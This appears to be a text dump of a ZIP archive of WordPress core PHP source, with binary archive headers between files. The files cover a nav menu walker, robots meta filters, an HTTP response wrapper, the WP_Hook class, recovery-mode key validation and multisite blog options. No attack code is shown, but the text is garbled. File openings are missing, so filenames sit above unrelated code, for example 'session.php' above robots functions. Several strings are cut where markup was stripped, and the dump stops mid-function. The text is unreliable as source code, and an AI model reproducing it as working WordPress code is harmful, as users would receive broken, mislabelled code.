    • ` for a menu item. * * @since 3.0.0 * * @param string $item_output The menu item's starting HTML output. * @param WP_Post $menu_item Menu item data object. * @param int $depth Depth of menu item. Used for padding. * @param stdClass $args An object of wp_nav_menu() arguments. */ $output .= apply_filters( 'walker_nav_menu_start_el', $item_output, $menu_item, $depth, $args ); } /** * Ends the element output, if needed. * * @since 3.0.0 * @since 5.9.0 Renamed `$item` to `$data_object` to match parent class for PHP 8 named parameter support. * * @see Walker::end_el() * * @param string $output Used to append additional content (passed by reference). * @param WP_Post $data_object Menu item data object. Not used. * @param int $depth Depth of page. Not Used. * @param stdClass $args An object of wp_nav_menu() arguments. */ public function end_el( &$output, $data_object, $depth = 0, $args = null ) { if ( isset( $args->item_spacing ) && 'discard' === $args->item_spacing ) { $t = ''; $n = ''; } else { $t = "\t"; $n = "\n"; } $output .= "
    • {$n}"; } /** * Builds a string of HTML attributes from an array of key/value pairs. * Empty values are ignored. * * @since 6.3.0 * * @param array $atts Optional. An array of HTML attribute key/value pairs. Default empty array. * @return string A string of HTML attributes. */ protected function build_atts( $atts = array() ) { $attribute_string = ''; foreach ( $atts as $attr => $value ) { if ( false !== $value && '' !== $value && is_scalar( $value ) ) { $value = ( 'href' === $attr ) ? esc_url( $value ) : esc_attr( $value ); $attribute_string .= ' ' . $attr . '="' . $value . '"'; } } return $attribute_string; } } PK!'øÙ9 session.phpnu&1i„ $value ) { if ( is_string( $value ) ) { // If a string value, include it as value for the directive. $robots_strings[] = "{$directive}:{$value}"; } elseif ( $value ) { // Otherwise, include the directive if it is truthy. $robots_strings[] = $directive; } } if ( empty( $robots_strings ) ) { return; } echo "\n"; } /** * Adds `noindex` to the robots meta tag if required by the site configuration. * * If a blog is marked as not being public then noindex will be output to * tell web robots not to index the page content. Add this to the * {@see 'wp_robots'} filter. * * Typical usage is as a {@see 'wp_robots'} callback: * * add_filter( 'wp_robots', 'wp_robots_noindex' ); * * @since 5.7.0 * * @see wp_robots_no_robots() * * @param array $robots Associative array of robots directives. * @return array Filtered robots directives. */ function wp_robots_noindex( array $robots ) { if ( ! get_option( 'blog_public' ) ) { return wp_robots_no_robots( $robots ); } return $robots; } /** * Adds `noindex` to the robots meta tag for embeds. * * Typical usage is as a {@see 'wp_robots'} callback: * * add_filter( 'wp_robots', 'wp_robots_noindex_embeds' ); * * @since 5.7.0 * * @see wp_robots_no_robots() * * @param array $robots Associative array of robots directives. * @return array Filtered robots directives. */ function wp_robots_noindex_embeds( array $robots ) { if ( is_embed() ) { return wp_robots_no_robots( $robots ); } return $robots; } /** * Adds `noindex` to the robots meta tag if a search is being performed. * * If a search is being performed then noindex will be output to * tell web robots not to index the page content. Add this to the * {@see 'wp_robots'} filter. * * Typical usage is as a {@see 'wp_robots'} callback: * * add_filter( 'wp_robots', 'wp_robots_noindex_search' ); * * @since 5.7.0 * * @see wp_robots_no_robots() * * @param array $robots Associative array of robots directives. * @return array Filtered robots directives. */ function wp_robots_noindex_search( array $robots ) { if ( is_search() ) { return wp_robots_no_robots( $robots ); } return $robots; } /** * Adds `noindex` to the robots meta tag. * * This directive tells web robots not to index the page content. * * Typical usage is as a {@see 'wp_robots'} callback: * * add_filter( 'wp_robots', 'wp_robots_no_robots' ); * * @since 5.7.0 * * @param array $robots Associative array of robots directives. * @return array Filtered robots directives. */ function wp_robots_no_robots( array $robots ) { $robots['noindex'] = true; if ( get_option( 'blog_public' ) ) { $robots['follow'] = true; } else { $robots['nofollow'] = true; } return $robots; } /** * Adds `noindex` and `noarchive` to the robots meta tag. * * This directive tells web robots not to index or archive the page content and * is recommended to be used for sensitive pages. * * Typical usage is as a {@see 'wp_robots'} callback: * * add_filter( 'wp_robots', 'wp_robots_sensitive_page' ); * * @since 5.7.0 * * @param array $robots Associative array of robots directives. * @return array Filtered robots directives. */ function wp_robots_sensitive_page( array $robots ) { $robots['noindex'] = true; $robots['noarchive'] = true; return $robots; } /** * Adds `max-image-preview:large` to the robots meta tag. * * This directive tells web robots that large image previews are allowed to be * displayed, e.g. in search engines, unless the blog is marked as not being public. * * Typical usage is as a {@see 'wp_robots'} callback: * * add_filter( 'wp_robots', 'wp_robots_max_image_preview_large' ); * * @since 5.7.0 * * @param array $robots Associative array of robots directives. * @return array Filtered robots directives. */ function wp_robots_max_image_preview_large( array $robots ) { if ( get_option( 'blog_public' ) ) { $robots['max-image-preview'] = 'large'; } return $robots; } PK!puºÞ00#class-wp-http-requests-response.phpnu„[µü¤response = $response; $this->filename = $filename; } /** * Retrieves the response object for the request. * * @since 4.6.0 * * @return WpOrg\Requests\Response HTTP response. */ public function get_response_object() { return $this->response; } /** * Retrieves headers associated with the response. * * @since 4.6.0 * * @return \WpOrg\Requests\Utility\CaseInsensitiveDictionary Map of header name to header value. */ public function get_headers() { // Ensure headers remain case-insensitive. $converted = new WpOrg\Requests\Utility\CaseInsensitiveDictionary(); foreach ( $this->response->headers->getAll() as $key => $value ) { if ( count( $value ) === 1 ) { $converted[ $key ] = $value[0]; } else { $converted[ $key ] = $value; } } return $converted; } /** * Sets all header values. * * @since 4.6.0 * * @param array $headers Map of header name to header value. */ public function set_headers( $headers ) { $this->response->headers = new WpOrg\Requests\Response\Headers( $headers ); } /** * Sets a single HTTP header. * * @since 4.6.0 * * @param string $key Header name. * @param string $value Header value. * @param bool $replace Optional. Whether to replace an existing header of the same name. * Default true. */ public function header( $key, $value, $replace = true ) { if ( $replace ) { unset( $this->response->headers[ $key ] ); } $this->response->headers[ $key ] = $value; } /** * Retrieves the HTTP return code for the response. * * @since 4.6.0 * * @return int The 3-digit HTTP status code. */ public function get_status() { return $this->response->status_code; } /** * Sets the 3-digit HTTP status code. * * @since 4.6.0 * * @param int $code HTTP status. */ public function set_status( $code ) { $this->response->status_code = absint( $code ); } /** * Retrieves the response data. * * @since 4.6.0 * * @return string Response data. */ public function get_data() { return $this->response->body; } /** * Sets the response data. * * @since 4.6.0 * * @param string $data Response data. */ public function set_data( $data ) { $this->response->body = $data; } /** * Retrieves cookies from the response. * * @since 4.6.0 * * @return WP_HTTP_Cookie[] List of cookie objects. */ public function get_cookies() { $cookies = array(); foreach ( $this->response->cookies as $cookie ) { $cookies[] = new WP_Http_Cookie( array( 'name' => $cookie->name, 'value' => urldecode( $cookie->value ), 'expires' => isset( $cookie->attributes['expires'] ) ? $cookie->attributes['expires'] : null, 'path' => isset( $cookie->attributes['path'] ) ? $cookie->attributes['path'] : null, 'domain' => isset( $cookie->attributes['domain'] ) ? $cookie->attributes['domain'] : null, 'host_only' => isset( $cookie->flags['host-only'] ) ? $cookie->flags['host-only'] : null, ) ); } return $cookies; } /** * Converts the object to a WP_Http response array. * * @since 4.6.0 * * @return array WP_Http response array, per WP_Http::request(). */ public function to_array() { return array( 'headers' => $this->get_headers(), 'body' => $this->get_data(), 'response' => array( 'code' => $this->get_status(), 'message' => get_status_header_desc( $this->get_status() ), ), 'cookies' => $this->get_cookies(), 'filename' => $this->filename, ); } } PK!ÄàY wp-diff.phpnuȯÝícallbacks[ $priority ] ); $this->callbacks[ $priority ][ $idx ] = array( 'function' => $callback, 'accepted_args' => (int) $accepted_args, ); // If we're adding a new priority to the list, put them back in sorted order. if ( ! $priority_existed && count( $this->callbacks ) > 1 ) { ksort( $this->callbacks, SORT_NUMERIC ); } $this->priorities = array_keys( $this->callbacks ); if ( $this->nesting_level > 0 ) { $this->resort_active_iterations( $priority, $priority_existed ); } } /** * Handles resetting callback priority keys mid-iteration. * * @since 4.7.0 * * @param false|int $new_priority Optional. The priority of the new filter being added. Default false, * for no priority being added. * @param bool $priority_existed Optional. Flag for whether the priority already existed before the new * filter was added. Default false. */ private function resort_active_iterations( $new_priority = false, $priority_existed = false ) { $new_priorities = $this->priorities; // If there are no remaining hooks, clear out all running iterations. if ( ! $new_priorities ) { foreach ( $this->iterations as $index => $iteration ) { $this->iterations[ $index ] = $new_priorities; } return; } $min = min( $new_priorities ); foreach ( $this->iterations as $index => &$iteration ) { $current = current( $iteration ); // If we're already at the end of this iteration, just leave the array pointer where it is. if ( false === $current ) { continue; } $iteration = $new_priorities; if ( $current < $min ) { array_unshift( $iteration, $current ); continue; } while ( current( $iteration ) < $current ) { if ( false === next( $iteration ) ) { break; } } // If we have a new priority that didn't exist, but ::apply_filters() or ::do_action() thinks it's the current priority... if ( $new_priority === $this->current_priority[ $index ] && ! $priority_existed ) { /* * ...and the new priority is the same as what $this->iterations thinks is the previous * priority, we need to move back to it. */ if ( false === current( $iteration ) ) { // If we've already moved off the end of the array, go back to the last element. $prev = end( $iteration ); } else { // Otherwise, just go back to the previous element. $prev = prev( $iteration ); } if ( false === $prev ) { // Start of the array. Reset, and go about our day. reset( $iteration ); } elseif ( $new_priority !== $prev ) { // Previous wasn't the same. Move forward again. next( $iteration ); } } } unset( $iteration ); } /** * Removes a callback function from a filter hook. * * @since 4.7.0 * * @param string $hook_name The filter hook to which the function to be removed is hooked. * @param callable|string|array $callback The callback to be removed from running when the filter is applied. * This method can be called unconditionally to speculatively remove * a callback that may or may not exist. * @param int $priority The exact priority used when adding the original filter callback. * @return bool Whether the callback existed before it was removed. */ public function remove_filter( $hook_name, $callback, $priority ) { if ( null === $priority ) { $priority = 0; } $function_key = _wp_filter_build_unique_id( $hook_name, $callback, $priority ); $exists = isset( $function_key, $this->callbacks[ $priority ][ $function_key ] ); if ( $exists ) { unset( $this->callbacks[ $priority ][ $function_key ] ); if ( ! $this->callbacks[ $priority ] ) { unset( $this->callbacks[ $priority ] ); $this->priorities = array_keys( $this->callbacks ); if ( $this->nesting_level > 0 ) { $this->resort_active_iterations(); } } } return $exists; } /** * Checks if a specific callback has been registered for this hook. * * When using the `$callback` argument, this function may return a non-boolean value * that evaluates to false (e.g. 0), so use the `===` operator for testing the return value. * * @since 4.7.0 * @since 6.9.0 Added the `$priority` parameter. * * @param string $hook_name Optional. The name of the filter hook. Default empty. * @param callable|string|array|false $callback Optional. The callback to check for. * This method can be called unconditionally to speculatively check * a callback that may or may not exist. Default false. * @param int|false $priority Optional. The specific priority at which to check for the callback. * Default false. * @return bool|int If `$callback` is omitted, returns boolean for whether the hook has * anything registered. When checking a specific function, the priority * of that hook is returned, or false if the function is not attached. * If `$callback` and `$priority` are both provided, a boolean is returned * for whether the specific function is registered at that priority. */ public function has_filter( $hook_name = '', $callback = false, $priority = false ) { if ( false === $callback ) { return $this->has_filters(); } $function_key = _wp_filter_build_unique_id( $hook_name, $callback, false ); if ( ! $function_key ) { return false; } if ( is_int( $priority ) ) { return isset( $this->callbacks[ $priority ][ $function_key ] ); } foreach ( $this->callbacks as $callback_priority => $callbacks ) { if ( isset( $callbacks[ $function_key ] ) ) { return $callback_priority; } } return false; } /** * Checks if any callbacks have been registered for this hook. * * @since 4.7.0 * * @return bool True if callbacks have been registered for the current hook, otherwise false. */ public function has_filters() { foreach ( $this->callbacks as $callbacks ) { if ( $callbacks ) { return true; } } return false; } /** * Removes all callbacks from the current filter. * * @since 4.7.0 * * @param int|false $priority Optional. The priority number to remove. Default false. */ public function remove_all_filters( $priority = false ) { if ( ! $this->callbacks ) { return; } if ( false === $priority ) { $this->callbacks = array(); $this->priorities = array(); } elseif ( isset( $this->callbacks[ $priority ] ) ) { unset( $this->callbacks[ $priority ] ); $this->priorities = array_keys( $this->callbacks ); } if ( $this->nesting_level > 0 ) { $this->resort_active_iterations(); } } /** * Calls the callback functions that have been added to a filter hook. * * @since 4.7.0 * * @param mixed $value The value to filter. * @param array $args Additional parameters to pass to the callback functions. * This array is expected to include $value at index 0. * @return mixed The filtered value after all hooked functions are applied to it. */ public function apply_filters( $value, $args ) { if ( ! $this->callbacks ) { return $value; } $nesting_level = $this->nesting_level++; $this->iterations[ $nesting_level ] = $this->priorities; $num_args = count( $args ); do { $this->current_priority[ $nesting_level ] = current( $this->iterations[ $nesting_level ] ); $priority = $this->current_priority[ $nesting_level ]; foreach ( $this->callbacks[ $priority ] as $the_ ) { if ( ! $this->doing_action ) { $args[0] = $value; } // Avoid the array_slice() if possible. if ( 0 === $the_['accepted_args'] ) { $value = call_user_func( $the_['function'] ); } elseif ( $the_['accepted_args'] >= $num_args ) { $value = call_user_func_array( $the_['function'], $args ); } else { $value = call_user_func_array( $the_['function'], array_slice( $args, 0, $the_['accepted_args'] ) ); } } } while ( false !== next( $this->iterations[ $nesting_level ] ) ); unset( $this->iterations[ $nesting_level ] ); unset( $this->current_priority[ $nesting_level ] ); --$this->nesting_level; return $value; } /** * Calls the callback functions that have been added to an action hook. * * @since 4.7.0 * * @param array $args Parameters to pass to the callback functions. */ public function do_action( $args ) { $this->doing_action = true; $this->apply_filters( '', $args ); // If there are recursive calls to the current action, we haven't finished it until we get to the last one. if ( ! $this->nesting_level ) { $this->doing_action = false; } } /** * Processes the functions hooked into the 'all' hook. * * @since 4.7.0 * * @param array $args Arguments to pass to the hook callbacks. Passed by reference. */ public function do_all_hook( &$args ) { $nesting_level = $this->nesting_level++; $this->iterations[ $nesting_level ] = $this->priorities; do { $priority = current( $this->iterations[ $nesting_level ] ); foreach ( $this->callbacks[ $priority ] as $the_ ) { call_user_func_array( $the_['function'], $args ); } } while ( false !== next( $this->iterations[ $nesting_level ] ) ); unset( $this->iterations[ $nesting_level ] ); --$this->nesting_level; } /** * Return the current priority level of the currently running iteration of the hook. * * @since 4.7.0 * * @return int|false If the hook is running, return the current priority level. * If it isn't running, return false. */ public function current_priority() { if ( false === current( $this->iterations ) ) { return false; } return current( current( $this->iterations ) ); } /** * Normalizes filters set up before WordPress has initialized to WP_Hook objects. * * The `$filters` parameter should be an array keyed by hook name, with values * containing either: * * - A `WP_Hook` instance * - An array of callbacks keyed by their priorities * * Examples: * * $filters = array( * 'wp_fatal_error_handler_enabled' => array( * 10 => array( * array( * 'accepted_args' => 0, * 'function' => function() { * return false; * }, * ), * ), * ), * ); * * @since 4.7.0 * * @param array $filters Filters to normalize. See documentation above for details. * @return WP_Hook[] Array of normalized filters. */ public static function build_preinitialized_hooks( $filters ) { /** @var WP_Hook[] $normalized */ $normalized = array(); foreach ( $filters as $hook_name => $callback_groups ) { if ( $callback_groups instanceof WP_Hook ) { $normalized[ $hook_name ] = $callback_groups; continue; } $hook = new WP_Hook(); // Loop through callback groups. foreach ( $callback_groups as $priority => $callbacks ) { // Loop through callbacks. foreach ( $callbacks as $cb ) { $hook->add_filter( $hook_name, $cb['function'], $priority, $cb['accepted_args'] ); } } $normalized[ $hook_name ] = $hook; } return $normalized; } /** * Determines whether an offset value exists. * * @since 4.7.0 * * @link https://www.php.net/manual/en/arrayaccess.offsetexists.php * * @param mixed $offset An offset to check for. * @return bool True if the offset exists, false otherwise. */ #[ReturnTypeWillChange] public function offsetExists( $offset ) { return isset( $this->callbacks[ $offset ] ); } /** * Retrieves a value at a specified offset. * * @since 4.7.0 * * @link https://www.php.net/manual/en/arrayaccess.offsetget.php * * @param mixed $offset The offset to retrieve. * @return mixed If set, the value at the specified offset, null otherwise. */ #[ReturnTypeWillChange] public function offsetGet( $offset ) { return isset( $this->callbacks[ $offset ] ) ? $this->callbacks[ $offset ] : null; } /** * Sets a value at a specified offset. * * @since 4.7.0 * * @link https://www.php.net/manual/en/arrayaccess.offsetset.php * * @param mixed $offset The offset to assign the value to. * @param mixed $value The value to set. */ #[ReturnTypeWillChange] public function offsetSet( $offset, $value ) { if ( is_null( $offset ) ) { $this->callbacks[] = $value; } else { $this->callbacks[ $offset ] = $value; } $this->priorities = array_keys( $this->callbacks ); } /** * Unsets a specified offset. * * @since 4.7.0 * * @link https://www.php.net/manual/en/arrayaccess.offsetunset.php * * @param mixed $offset The offset to unset. */ #[ReturnTypeWillChange] public function offsetUnset( $offset ) { unset( $this->callbacks[ $offset ] ); $this->priorities = array_keys( $this->callbacks ); } /** * Returns the current element. * * @since 4.7.0 * * @link https://www.php.net/manual/en/iterator.current.php * * @return array Of callbacks at current priority. */ #[ReturnTypeWillChange] public function current() { return current( $this->callbacks ); } /** * Moves forward to the next element. * * @since 4.7.0 * * @link https://www.php.net/manual/en/iterator.next.php * * @return array Of callbacks at next priority. */ #[ReturnTypeWillChange] public function next() { return next( $this->callbacks ); } /** * Returns the key of the current element. * * @since 4.7.0 * * @link https://www.php.net/manual/en/iterator.key.php * * @return mixed Returns current priority on success, or NULL on failure */ #[ReturnTypeWillChange] public function key() { return key( $this->callbacks ); } /** * Checks if current position is valid. * * @since 4.7.0 * * @link https://www.php.net/manual/en/iterator.valid.php * * @return bool Whether the current position is valid. */ #[ReturnTypeWillChange] public function valid() { return key( $this->callbacks ) !== null; } /** * Rewinds the Iterator to the first element. * * @since 4.7.0 * * @link https://www.php.net/manual/en/iterator.rewind.php */ #[ReturnTypeWillChange] public function rewind() { reset( $this->callbacks ); } } PK!-.q&class-wp-recovery-mode-key-service.phpnuȯÝíget_keys(); $records[ $token ] = array( 'hashed_key' => wp_fast_hash( $key ), 'created_at' => time(), ); $this->update_keys( $records ); /** * Fires when a recovery mode key is generated. * * @since 5.2.0 * * @param string $token The recovery data token. * @param string $key The recovery mode key. */ do_action( 'generate_recovery_mode_key', $token, $key ); return $key; } /** * Verifies if the recovery mode key is correct. * * Recovery mode keys can only be used once; the key will be consumed in the process. * * @since 5.2.0 * * @param string $token The token used when generating the given key. * @param string $key The plain text key. * @param int $ttl Time in seconds for the key to be valid for. * @return true|WP_Error True on success, error object on failure. */ public function validate_recovery_mode_key( $token, $key, $ttl ) { $records = $this->get_keys(); if ( ! isset( $records[ $token ] ) ) { return new WP_Error( 'token_not_found', __( 'Recovery Mode not initialized.' ) ); } $record = $records[ $token ]; $this->remove_key( $token ); if ( ! is_array( $record ) || ! isset( $record['hashed_key'], $record['created_at'] ) ) { return new WP_Error( 'invalid_recovery_key_format', __( 'Invalid recovery key format.' ) ); } if ( ! wp_verify_fast_hash( $key, $record['hashed_key'] ) ) { return new WP_Error( 'hash_mismatch', __( 'Invalid recovery key.' ) ); } if ( time() > $record['created_at'] + $ttl ) { return new WP_Error( 'key_expired', __( 'Recovery key expired.' ) ); } return true; } /** * Removes expired recovery mode keys. * * @since 5.2.0 * * @param int $ttl Time in seconds for the keys to be valid for. */ public function clean_expired_keys( $ttl ) { $records = $this->get_keys(); foreach ( $records as $key => $record ) { if ( ! isset( $record['created_at'] ) || time() > $record['created_at'] + $ttl ) { unset( $records[ $key ] ); } } $this->update_keys( $records ); } /** * Removes a used recovery key. * * @since 5.2.0 * * @param string $token The token used when generating a recovery mode key. */ private function remove_key( $token ) { $records = $this->get_keys(); if ( ! isset( $records[ $token ] ) ) { return; } unset( $records[ $token ] ); $this->update_keys( $records ); } /** * Gets the recovery key records. * * @since 5.2.0 * @since 6.8.0 Each key is now hashed using wp_fast_hash() instead of phpass. * Existing keys may still be hashed using phpass. * * @return array { * Associative array of token => data pairs, where the data is an associative * array of information about the key. * * @type array ...$0 { * Information about the key. * * @type string $hashed_key The hashed value of the key. * @type int $created_at The timestamp when the key was created. * } * } */ private function get_keys() { return (array) get_option( $this->option_name, array() ); } /** * Updates the recovery key records. * * @since 5.2.0 * @since 6.8.0 Each key should now be hashed using wp_fast_hash() instead of phpass. * * @param array $keys { * Associative array of token => data pairs, where the data is an associative * array of information about the key. * * @type array ...$0 { * Information about the key. * * @type string $hashed_key The hashed value of the key. * @type int $created_at The timestamp when the key was created. * } * } * @return bool True on success, false on failure. */ private function update_keys( array $keys ) { return update_option( $this->option_name, $keys, false ); } } PK!G6õdõd ms-blogs.phpnuȯÝí current_time( 'mysql', true ) ) ); /** * Fires after the blog details are updated. * * @since MU (3.0.0) * * @param int $blog_id Site ID. */ do_action( 'wpmu_blog_updated', $site_id ); } /** * Gets a full site URL, given a site ID. * * @since MU (3.0.0) * * @param int $blog_id Site ID. * @return string Full site URL if found. Empty string if not. */ function get_blogaddress_by_id( $blog_id ) { $bloginfo = get_site( (int) $blog_id ); if ( empty( $bloginfo ) ) { return ''; } $scheme = parse_url( $bloginfo->home, PHP_URL_SCHEME ); $scheme = empty( $scheme ) ? 'http' : $scheme; return esc_url( $scheme . '://' . $bloginfo->domain . $bloginfo->path ); } /** * Gets a full site URL, given a site name. * * @since MU (3.0.0) * * @param string $blogname Name of the subdomain or directory. * @return string */ function get_blogaddress_by_name( $blogname ) { if ( is_subdomain_install() ) { if ( 'main' === $blogname ) { $blogname = 'www'; } $url = rtrim( network_home_url(), '/' ); if ( ! empty( $blogname ) ) { $url = preg_replace( '|^([^\.]+://)|', '${1}' . $blogname . '.', $url ); } } else { $url = network_home_url( $blogname ); } return esc_url( $url . '/' ); } /** * Retrieves a site's ID given its (subdomain or directory) slug. * * @since MU (3.0.0) * @since 4.7.0 Converted to use `get_sites()`. * * @param string $slug A site's slug. * @return int|null The site ID, or null if no site is found for the given slug. */ function get_id_from_blogname( $slug ) { $current_network = get_network(); $slug = trim( $slug, '/' ); if ( is_subdomain_install() ) { $domain = $slug . '.' . preg_replace( '|^www\.|', '', $current_network->domain ); $path = $current_network->path; } else { $domain = $current_network->domain; $path = $current_network->path . $slug . '/'; } $site_ids = get_sites( array( 'number' => 1, 'fields' => 'ids', 'domain' => $domain, 'path' => $path, 'update_site_meta_cache' => false, ) ); if ( empty( $site_ids ) ) { return null; } return array_shift( $site_ids ); } /** * Retrieves the details for a blog from the blogs table and blog options. * * @since MU (3.0.0) * * @global wpdb $wpdb WordPress database abstraction object. * * @param int|string|array $fields Optional. A blog ID, a blog slug, or an array of fields to query against. * Defaults to the current blog ID. * @param bool $get_all Whether to retrieve all details or only the details in the blogs table. * Default is true. * @return WP_Site|false Blog details on success. False on failure. */ function get_blog_details( $fields = null, $get_all = true ) { global $wpdb; if ( is_array( $fields ) ) { if ( isset( $fields['blog_id'] ) ) { $blog_id = $fields['blog_id']; } elseif ( isset( $fields['domain'] ) && isset( $fields['path'] ) ) { $key = md5( $fields['domain'] . $fields['path'] ); $blog = wp_cache_get( $key, 'blog-lookup' ); if ( false !== $blog ) { return $blog; } if ( str_starts_with( $fields['domain'], 'www.' ) ) { $nowww = substr( $fields['domain'], 4 ); $blog = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM $wpdb->blogs WHERE domain IN (%s,%s) AND path = %s ORDER BY CHAR_LENGTH(domain) DESC", $nowww, $fields['domain'], $fields['path'] ) ); } else { $blog = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM $wpdb->blogs WHERE domain = %s AND path = %s", $fields['domain'], $fields['path'] ) ); } if ( $blog ) { wp_cache_set( $blog->blog_id . 'short', $blog, 'blog-details' ); $blog_id = $blog->blog_id; } else { return false; } } elseif ( isset( $fields['domain'] ) && is_subdomain_install() ) { $key = md5( $fields['domain'] ); $blog = wp_cache_get( $key, 'blog-lookup' ); if ( false !== $blog ) { return $blog; } if ( str_starts_with( $fields['domain'], 'www.' ) ) { $nowww = substr( $fields['domain'], 4 ); $blog = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM $wpdb->blogs WHERE domain IN (%s,%s) ORDER BY CHAR_LENGTH(domain) DESC", $nowww, $fields['domain'] ) ); } else { $blog = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM $wpdb->blogs WHERE domain = %s", $fields['domain'] ) ); } if ( $blog ) { wp_cache_set( $blog->blog_id . 'short', $blog, 'blog-details' ); $blog_id = $blog->blog_id; } else { return false; } } else { return false; } } else { if ( ! $fields ) { $blog_id = get_current_blog_id(); } elseif ( ! is_numeric( $fields ) ) { $blog_id = get_id_from_blogname( $fields ); } else { $blog_id = $fields; } } $blog_id = (int) $blog_id; $all = $get_all ? '' : 'short'; $details = wp_cache_get( $blog_id . $all, 'blog-details' ); if ( $details ) { if ( ! is_object( $details ) ) { if ( -1 === $details ) { return false; } else { // Clear old pre-serialized objects. Cache clients do better with that. wp_cache_delete( $blog_id . $all, 'blog-details' ); unset( $details ); } } else { return $details; } } // Try the other cache. if ( $get_all ) { $details = wp_cache_get( $blog_id . 'short', 'blog-details' ); } else { $details = wp_cache_get( $blog_id, 'blog-details' ); // If short was requested and full cache is set, we can return. if ( $details ) { if ( ! is_object( $details ) ) { if ( -1 === $details ) { return false; } else { // Clear old pre-serialized objects. Cache clients do better with that. wp_cache_delete( $blog_id, 'blog-details' ); unset( $details ); } } else { return $details; } } } if ( empty( $details ) ) { $details = WP_Site::get_instance( $blog_id ); if ( ! $details ) { // Set the full cache. wp_cache_set( $blog_id, -1, 'blog-details' ); return false; } } if ( ! $details instanceof WP_Site ) { $details = new WP_Site( $details ); } if ( ! $get_all ) { wp_cache_set( $blog_id . $all, $details, 'blog-details' ); return $details; } $switched_blog = false; if ( get_current_blog_id() !== $blog_id ) { switch_to_blog( $blog_id ); $switched_blog = true; } $details->blogname = get_option( 'blogname' ); $details->siteurl = get_option( 'siteurl' ); $details->post_count = get_option( 'post_count' ); $details->home = get_option( 'home' ); if ( $switched_blog ) { restore_current_blog(); } /** * Filters a blog's details. * * @since MU (3.0.0) * @deprecated 4.7.0 Use {@see 'site_details'} instead. * * @param WP_Site $details The blog details. */ $details = apply_filters_deprecated( 'blog_details', array( $details ), '4.7.0', 'site_details' ); wp_cache_set( $blog_id . $all, $details, 'blog-details' ); $key = md5( $details->domain . $details->path ); wp_cache_set( $key, $details, 'blog-lookup' ); return $details; } /** * Clears the blog details cache. * * @since MU (3.0.0) * * @param int $blog_id Optional. Blog ID. Defaults to current blog. */ function refresh_blog_details( $blog_id = 0 ) { $blog_id = (int) $blog_id; if ( ! $blog_id ) { $blog_id = get_current_blog_id(); } clean_blog_cache( $blog_id ); } /** * Updates the details for a blog and the blogs table for a given blog ID. * * @since MU (3.0.0) * * @param int $blog_id Blog ID. * @param array $details Array of details keyed by blogs table field names. * @return bool True if update succeeds, false otherwise. */ function update_blog_details( $blog_id, $details = array() ) { if ( empty( $details ) ) { return false; } if ( is_object( $details ) ) { $details = get_object_vars( $details ); } $site = wp_update_site( $blog_id, $details ); if ( is_wp_error( $site ) ) { return false; } return true; } /** * Cleans the site details cache for a site. * * @since 4.7.4 * * @param int $site_id Optional. Site ID. Default is the current site ID. */ function clean_site_details_cache( $site_id = 0 ) { $site_id = (int) $site_id; if ( ! $site_id ) { $site_id = get_current_blog_id(); } wp_cache_delete( $site_id, 'site-details' ); wp_cache_delete( $site_id, 'blog-details' ); } /** * Retrieves option value for a given blog id based on name of option. * * If the option does not exist or does not have a value, then the return value * will be false. This is useful to check whether you need to install an option * and is commonly used during installation of plugin options and to test * whether upgrading is required. * * If the option was serialized then it will be unserialized when it is returned. * * @since MU (3.0.0) * * @param int $id A blog ID. Can be null to refer to the current blog. * @param string $option Name of option to retrieve. Expected to not be SQL-escaped. * @param mixed $default_value Optional. Default value to return if the option does not exist. * @return mixed Value set for the option. */ function get_blog_option( $id, $option, $default_value = false ) { $id = (int) $id; if ( empty( $id ) ) { $id = get_current_blog_id(); } if ( get_current_blog_id() === $id ) { return get_option( $option, $default_value ); } switch_to_blog( $id ); $value = get_option( $option, $default_value ); restore_current_blog(); /** * Filters a blog option value. * * The dynamic portion of the hook name, `$option`, refers to the blog option name. * * @since 3.5.0 * * @param string $value The option value. * @param int $id Blog ID. */ return apply_filters( "blog_option_{$option}", $value, $id ); } /** * Adds a new option for a given blog ID. * * You do not need to serialize values. If the value needs to be serialized, then * it will be serialized before it is inserted into the database. Remember, * resources can not be serialized or added as an option. * * You can create options without values and then update the values later. * Existing options will not be updated and checks are performed to ensure that you * aren't adding a protected WordPress option. Care should be taken to not name * options the same as the ones which are protected. * * @since MU (3.0.0) * * @param int $id A blog ID. Can be null to refer to the current blog. * @param string $option Name of option to add. Expected to not be SQL-escaped. * @param mixed $value Option value, can be anything. Expected to not be SQL-escaped. * @return bool True if the option was added, false otherwise. */ function add_blog_option( $id, $option, $value ) { $id = (int) $id; if ( empty( $id ) ) { $id = get_current_blog_id(); } if ( get_current_blog_id() === $id ) { return add_option( $option, $value ); } switch_to_blog( $id ); $return = add_option( $option, $value ); restore_current_blog(); return $return; } /** * Removes an option by name for a given blog ID. Prevents removal of protected WordPress options. * * @since MU (3.0.0) * * @param int $id A blog ID. Can be null to refer to the current blog. * @param string $option Name of option to remove. Expected to not be SQL-escaped. * @return bool True if the option was deleted, false otherwise. */ function delete_blog_option( $id, $option ) { $id = (int) $id; if ( empty( $id ) ) { $id = get_current_blog_id(); } if ( get_current_blog_id() === $id ) { return delete_option( $option ); } switch_to_blog( $id ); $return = delete_option( $option ); restore_current_blog(); return $return; } /** * Updates an option for a particular blog. * * @since MU (3.0.0) * * @param int $id The blog ID. * @param string $option The option key. * @param mixed $value The option value. * @param mixed $deprecated Not used. * @return bool True if the value was updated, false otherwise. */ function update_blog_option( $id, $option, $value, $deprecated = null ) { $id = (int) $id; if ( null !== $deprecated ) { _deprecated_argument( __FUNCTION__, '3.1.0' ); } if ( get_current_blog_id() === $id ) { return update_option( $option, $value ); } switch_to_blog( $id ); $return = update_option( $option, $value ); restore_current_blog(); return $return; } /** * Switches the current blog. * * This function is useful if you need to pull posts, or other information, * from other blogs. You can switch back afterwards using restore_current_blog(). * * PHP code loaded with the originally requested site, such as code from a plugin or theme, does not switch. See #14941. * * @see restore_current_blog() * @since MU (3.0.0) * * @global wpdb $wpdb WordPress database abstraction object. * @global int $blog_id * @global array $_wp_switched_stack * @global bool $switched * @global string $table_prefix The database table prefix. * @global WP_Object_Cache $wp_object_cache * * @param int $new_blog_id The ID of the blog to switch to. Default: current blog. * @param bool $deprecated Not used. * @return true Always returns true. */ function switch_to_blog( $new_blog_id, $deprecated = null ) { global $wpdb; $prev_blog_id = get_current_blog_id(); if ( empty( $new_blog_id ) ) { $new_blog_id = $prev_blog_id; } $GLOBALS['_wp_switched_stack'][] = $prev_blog_id; /* * If we're switching to the same blog id that we're on, * set the right vars, do the associated actions, but skip * the extra unnecessary work */ if ( 